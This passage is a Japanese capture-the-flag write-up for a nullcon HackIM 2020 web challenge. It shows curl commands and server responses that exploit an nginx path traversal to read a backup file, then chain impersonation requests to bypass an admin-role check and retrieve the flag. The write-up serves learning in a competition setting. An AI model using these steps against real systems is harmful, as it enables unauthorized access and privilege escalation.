<head><title>Index of /static../backup/</title></head>
<body>
<h1>Index of /static../backup/</h1><hr><pre><a href="../">../</a>
<a href="links.txt">links.txt</a>                                          05-Feb-2020 19:18                 277
<a href="nginx.conf">nginx.conf</a>                                         05-Feb-2020 19:18                1242
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/links.txt
To signup
http://localhost/check.php?signup=true&name=asd

To Impersonate a person
http://localhost/check.php?impersonator=asd&impersonatee=check

To umimpersonate a person
http://localhost/check.php?unimpersonate=asd-admin

To get status
http://localhost/check.php?status=asd

/check.phpというURLが存在することがわかる。次にこちらを攻める。

Stage2

/check.phpは、パラメータによって機能が変わるようだ。

サインアップしてステータス確認すると、パラメータで指定したnameのユーザに加えて、nameの末尾に-adminが付いたadmin roleを持つユーザが作成されていることがわかる。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: </br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
Please become admin, username: asd-admin 

impersonatorで指定したユーザを、impersonateeで指定したユーザに成りすましができるようだ。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=check"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: check</br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
You are not admin

adminのロールをもつユーザには成りすましできないようチェックされている。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>cannot impersonate admin role

そこで、adminのロールを持つユーザを、userのロールを持つユーザに成りすませた状態であれば、このチェックをバイパスして、成りすましが可能と推測する。その後、adminのロールを持つユーザの成りすましを解除すればよい。

手順を整理すると以下のとおり。

  1. asd-adminasdに成りすまし。
  2. asdasd-adminに成りすまし。
  3. asd-adminの成りすましを解除。
  4. asdasd-adminに成りすましたままなので、admin roleを持つ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd-admin&impersonatee=asd"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>You admin role is not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?unimpersonate=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>hackim20{We_Never_Thought_it_Was_That_Vulnerable}

フラグゲット。
hackim20{We_Never_Thought_it_Was_That_Vulnerable}